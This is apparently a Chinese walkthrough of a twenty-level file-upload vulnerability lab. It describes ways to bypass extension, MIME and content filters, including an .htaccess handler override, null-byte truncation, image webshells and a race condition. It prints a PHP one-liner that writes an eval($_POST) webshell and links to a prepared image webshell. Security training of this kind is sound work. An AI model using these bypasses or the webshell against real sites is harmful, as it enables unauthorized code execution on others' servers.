第一关
第一关很简单,前端的js验证,直接去调试器中禁用js便可实现php文件上传.。
上传后的位置没有直接输出,在这里可以用三个方法找到上传后的文件位置。
第一种:
右键选择检查,打开网络,找到文件上传的这条流量。
第二种:
上传成功后他会回显一个图片,直接把图片拉到浏览器搜索栏位置,可以直接打开。
第三种:
直接去改源码。
找到$img_path变量 然后输出一下路径。(大佬勿喷,就是想方便去访问-.-。)
第二关(MIME验证):
把木马后缀改为png或者jpg,或者gif类型,上传后抓包再改回php类型。
这个是验证A处的值的,总之A处的值为 png或者jpg,或者gif类型都可以。直接上传php文件抓包改A处的值也可以。
第三关:
黑名单验证,直接上传php5,php3,pHp,等大小写绕过,都可以。
第四关:
黑名单验证,卡的比较死,但是少了.htaccess文件,这里有一个小坑,.htaccess就要这样的文件名,不要改成 1.htaccess什么的。
先把php文件后缀改成png类型传上去,再上传 .htaccess 文件,访问一下.htaccess文件使它执行。
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
//改同目录下的 1.png文件为php类型文件
第五关:
黑名单卡死了,查看源代码。
这个题其实比较第一次做难的,看了大佬的思路,知道他没有循环验证,所以后缀改为 .php. 他只是验证一次会删除一个 . 删除后为 .php
第六关:
查看源代码发现没有转换大小写,直接大小写绕过, phP,或者纯大写PHP的后缀即可绕过。
第七关:
查看源代码发现没有去除文件首位处的空格,直接抓包文件名后加空格,或者.后面加空格,即可绕过
第八关:
第八关可以发现没有删除文件名末尾的点,和第七关思路一样,就是把空格换成点。
第九关:
没有删除文件后的::$DATA
第七关思路一样,就是把空格换成::$DATA
由于windows特性,会将::$DATA忽略,然后文件就解析成了正常的php文件。
数据流。 默认数据流没有名称。 可以使用 FindFirstStreamW 和 FindNextStreamW 函数枚举数据流。
第十关:
和第五关一样。
第十一关:
双写绕过,把后缀写成pphphp 这样的形势,他会删除一次后缀的php代码。
第十二关:
00截断get类型。
第十三关:
post类型00截断。
参考我的另一个小笔记
(139条消息) 文件上传漏洞,之00截断。_一个番茄锅的博客-CSDN博客_文件上传漏洞00截断
也就是在php后加空格
然后再二进制中把代表空格的20改为00
然后就会有一个看不见的隔断。
第十四关:
图片马,
我用的是kali
先创建一个图片,再创建一个php,然后用cat命令,使php代码加到图片后。
然后直接上传。
用文件包含漏洞+图片马组合拳。使图片马中的代码能够执行。
第十五关:
思路和第十四关一样,但是它存在一个对图片内容的渲染作用,思路就是上传一张图片后,再下载下来把上传前的图片一起放在二进制工具中,分析没有存在渲染,改变的位置。把php代码放在那个地方就可以。
这里我放一个大佬制作的图片马,可以轻松绕过第十五关的检测。
https://wwe.lanzoui.com/iFSwwn53jafhttps://wwe.lanzoui.com/iFSwwn53jaf
第十六关:
和十五关的思路一样,也是存在对图片内容和签名的检查,第十五关的图片马也可以绕过第十六关的检查。
第十七关:
和十五关的思路一样,也是存在对图片内容和签名的检查,第十五关的图片马也可以绕过第十七关的检查。
第十八关:
条件竞争漏洞,
<?php fputs(fopen('a.php','w'),'<?php @eval($_POST["a"])?>');?>
这段带代码可以生成一个a.php 然后a.php的意思是一句话木马。
利用burp,上传后发送到intruder模块,使用空payload,持续上传。
然后一直去访问上传的这个代码,使他执行,当访问成功后就可以了,他就会生成a.php
手工累的话,可以用burp去设置空payload去持续访问,当响应码为200时就是上传成功。
第十九关:
图片马+条件竞争,将十八关的代码,放在图片中,然后持续访问图片。思路和十八关一样,不过就是将php换成图片马。
第二十关:
move_uploaded_file()函数中的img_path是由post参数save_name控制的,可以在save_name利用%00截断
在这个位置设置00截断。